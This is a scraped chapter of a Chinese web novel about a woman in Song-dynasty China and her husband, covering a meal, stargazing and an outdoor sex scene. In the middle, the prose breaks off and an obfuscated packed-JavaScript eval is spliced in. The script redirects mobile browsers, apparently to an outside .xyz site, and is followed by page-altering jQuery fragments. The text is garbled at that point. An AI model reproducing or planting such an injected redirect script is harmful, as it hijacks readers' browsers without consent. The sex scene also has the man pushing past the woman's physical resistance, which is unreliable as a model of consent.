127. 织女

作品:《她在大宋搞收藏

    一天没触碰这张柔软香甜的唇,他就难受。


    周云初觉得他是不是有瘾,总是时不时犯病一样爆发。


    吻的缠绵悱恻,周云初逐渐扛不住,不让她呼吸换气,她都快要断气了。


    她本来就是在睡觉,穿的少。一只大手抚上她的腰肢,指腹顺着后背一路上滑。


    周云初本能的感受到他又要干嘛了,抓住那只大手,挣脱着离开他的唇。


    “干什么?”他的唇近在咫尺,看着她大口呼吸,语气带笑:“你主动亲我,不就是这个意思吗?”


    周云初一头黑线,正准备说话又被他狠狠亲了一口,没说出口的话被堵了回去。


    直到燕驰亲痛快了,仔细打量着她,小脸镀上一层绯红,红红的唇瓣被亲的有些肿,残留着他的口水,越看越绷的难受。


    周云初的肚子,不合时宜的响了,饿的。


    他无语的笑了,中午又饿又晕,没吃几口倒头就睡的人,真会挑时间。不过这小身板,要是连饭都不给吃,显得他禽兽不如。


    “起来吧,穿衣衫,用饭去,就摆在小院里。”


    顺手燕驰就拿起一件银白绣纹纱罗背心、梅子青百迭裙给她穿上,露出白嫩嫩似藕节的胳膊,看的他心猿意马。


    “你不能老这样,不好。”周云初一眼就看出了他的异样。


    “哪里不好,我又不是身体吃不消。”男人犟嘴。


    周云初苦笑:“一块地,隔三差五就被犁四五遍,牛壮地薄,地吃不消。”


    “就当你夸我了。”抓起她的手腕就去院子里吃饭。


    院子里,晴心将饭食碗筷全都摆好,点燃蚊烟,便退了出去。


    周云初站在院子里眺望远处的山丘,此时薄暮冥冥,彩霞染上了深青色,她心底生出一丝旷达和轻松。


    燕驰知道就知道吧,反正他也不能拿她怎么办。


    后来的周云初,想起夏至节这天,在玉清观的她,天真的让自己流泪。


    周云初看着一桌丰盛,下酒果子、酒水,主菜是海鲜,煨牡蛎、蝤蛑签、姜醋生螺、酒炙青虾、紫苏鱼,蘸萝卜醋齑,凉拌黄瓜、山家三脆,主食是云英面,糕点是蜂糖糕和黄糜糕。


    这不可能是观里的斋饭,也不是府上厨娘的手艺。


    周云初尝了口紫苏鱼,像是清风楼的手艺,送过来估计要小半日。


    燕驰在一旁小酌,指尖敲着桌面,歪头看着周云初尝尝这个,又尝尝那个,看起来吃的还算满意。


    只是她这背心穿的,看的他两眼起火,“纱罗背心只准在家里书房和厢房穿。”


    周云初皱眉,“家里庭院也可以穿吧,晚上纳凉。”


    很多小娘子在家中闲坐纳凉,都可以单穿背心加抹胸。穿什么衣衫也管,好烦人。


    “白天不行,你看这胳膊露的。”燕驰瞄了两眼。


    周云初吃着凉拌黄瓜,凉凉脆脆的,自己也看了一眼,清凉是蛮清凉的,懒的跟他争论,“嗯”了一声,作为回答。


    燕驰想起她用赵佣赏的钱买衣衫鞋子,面无表情道:“咱们那三十艘海船入账六百七十万,扣掉分给大哥二哥以及陈默他们的分红,另外再买三十艘船,咱们还剩下四百万贯,请你以后尽情的挥霍。”


    周云初吃着姜醋生螺,点点头,表示知道了。


    从渤海湾出发到真腊,加上中途采购货物、停靠,单趟行程一个月,也就是说每两个月,燕驰就有四百万贯进账,再加三十艘,只要市场能吃的下,每两月他有一千万贯进账。


    这就非常震惊了,大宋从市舶司抽税得出,一年的海外进出口总额大致两千万贯,当然这里面不包含走私,走私没法统计。


    周云初瞪大眼睛看他:“你···没有经过朝廷的市舶司,被抽税、博买?”


    燕驰一副理所当然的样子,“货物直接从真腊倒卖到辽国,跟朝廷的市舶司有啥关系啊。”


    她给他一个杠杆,他能撬动海外贸易。


    “跟你说这些,是希望你多多休息。”燕驰看着她由漫不经心,变震惊的过程,很好笑,伸手捏捏她鼓鼓的脸颊,触感嫩滑。


    周云初听了听钱响,吃着青虾,咧嘴笑。


    她依然会用自己赚的钱买藏品,倒不是清高,她才是大富婆好嘛,这是她的面首,啊不对,蒜鸟,还是相公吧。


    心里琢磨了一会,自己空间内还有哪些货物可以拿去卖,青木那里有两万颗北珠,她手上还有三万五千颗。


    她养了两个整段河道的河蚌,一段里面养着的母贝已经一年多了。


    黑胡椒一万斤囤在手上,价值十六万个一两的小金饼。囤着的乳香、苏合香、龙脑、没药、檀香,加一起两百五十万贯。


    正在采摘的三种荔枝,总价值两百一十六万贯。


    空间内的四种药材、柑橘家族,雄州酒坊和铺子,汴京十个铺子和几个果园、马场,临安酒楼、果园、药材园。


    “这么高兴?”燕驰睥睨着她,“紫檀匣子里的库帖,你怎么不用。”


    “面额太大了,哪有人用十万贯的库帖去买衣衫鞋袜的。”周云初不想较真,随口哄哄他。


    两人很快就吃完,酒足饭饱的周云初在院子里消食。


    ······


    星河灿烂,纤云弄巧。


    燕驰沐浴过后依然像往常一样,只穿条亵裤,露着一身结实的肌肉。


    两人躺在院中一张黄花梨木榻上,共度天阶夜色。


    周云初长发绞干后,就枕着燕驰的胳膊躺着,手里拿着小扇子,指给他看:“三个星星连成一条线。”


    燕驰望了一眼,歪头看了眼她:“那三颗星叫参宿,也称福禄寿三星,杜甫写了一首关于它的诗,人生不相见,动如参与商。参商二者此升彼落,永不相逢,常指至亲别离,人生无常。”


    “啊,好惨,换一个,我们找找牛郎织女星吧。”周云初赶紧换一个目标,“那个是不是牛郎星,旁边还有两个崽。”


    燕驰听了笑出声,旁边两个崽,“对,白色云带斜对面的那颗明亮星星,就是织女。七夕那天晚上,咱们声音小点,还能听到它们说悄悄话。”


    周云初发现燕驰这人,唬起人来,也是一套一套的。


    两人四仰八叉的躺着,清风徐来,周云初白天睡多了,晚上不困。


    在大宋,道观里观星赏月,汴京种花种果种春风,也算是一场旅行吧。


    周云初翻了个身,险些掉下去,被燕驰长臂捞起,把人搂紧。


    香香软软,艾草薄荷味,燕驰亲了亲她的脸颊,抱着她。


    她瞬间


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15969022|174490||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    感觉到了热意,身后还有个东西顶着,硌得不舒服。


    顺手去推,竟然摸到一个红薯,同时颈脖间传来懒散的闷哼声,燕驰抱着她的腰,埋在她颈脖处,“想耕地了?”


    周云初跟扔烫手山芋似的扔掉,还想爬回厢房,“不是,你别闹。”还没爬起来就被燕驰压在身下。


    半山腰的院子里,远山叠嶂,幕天席地,星子闪烁。


    周云初挣扎,羞耻感爆棚,“燕驰,这荒郊野外的,说不定附近还有人呢。”


    话音刚落,燕驰就拍了她一下,“近卫都在外围守着,晴心和元琪烧完水就回去了。这附近,我早看过了,没人。”


    他嗅着发香,大手伸进单薄的衣衫里,指尖摩挲,有一下没一下的挑逗着。


    周云初望着四周黑乎乎的,就连月光都微弱,反手就去推他。


    燕驰正准备亲下去,皱眉看她,胆子这么小吗?


    平常扎针、熬鹰、驯马、喝烈酒,怎么到这件事,胆子就变小了。


    贴近她的脸,直勾勾的对上她的双眸,“白天也睡饱了,海鲜也吃了,星星也看了,你这会也睡不着,总得干点正事吧。”


    他躺在她身后环抱着,这具身体香软又完美契合贴着他,抓着她的手腕,轻轻顶了她一下,“几天没干活了?”


    “额,四天?还是五天?”她不记得了,谁记这玩意啊,她连葵水时间都懒的记。


    “六天,好吗?”燕驰就开始动手了。


    周云初手脚并用踹他,这点阻力,在燕驰眼里,一只手都够了。


    “非得在这外面吗?”她苦笑,“被人偷看了,咱俩就亏大了,脸都不要了。”


    燕驰抬头环顾四周,略微思索后,“你等会。”说完就进屋拿了一床薄被出来盖在两人身上。


    被子里,燕驰忙活着,正准备扯下百迭裙,就听她望着夜空呢喃:“你在牛郎星眼皮子底下办这件事,他会不会羡慕忌妒恨。”


    “不会。”燕驰铮铮有词,“他都有两个小崽子了。”


    周云初:“有人歌颂他们的爱情,有人说牛郎拐卖仙女。”


    “不要管别人怎么说,别人的故事,跟咱们没关系。”燕驰从来就是个跳出规则的人,对于别人的看法,他懒的理会。


    周云初:“织女真的需要羽衣才能飞回天庭吗?”


    不!他们都在骗她,织女是仙女啊,仙女本来就会飞啊,一件破衣服,不过都是束缚罢了。


    自古鼓励男人追求财富、权利、美人,却欺骗女人努力赢得一颗不知道何时会变的心。


    燕驰发现她走神,仔细再看,眼神里没有了羞耻感,而是两团熊熊燃烧的野火。


    周云初一把扯掉盖在两人身上的薄被,不着寸缕,翻身坐在燕驰身上。


    他身上集结了一切她要的东西,连带着他这张脸、身材和性格。


    武力、权利,不多,但是足矣庇护她在这个时代经商赚钱,这就够了。


    她要做饭,有现成的锅,拿来就用,要是等自己学会打铁造锅,她早就饿死了。


    他才是她挑的美人。她早已在潜意识里面完成了这些事情。


    周云初要回家,这个目标从来都没有动摇过一丝一毫。


    摆脱思想的枷锁,天河都要为她让路。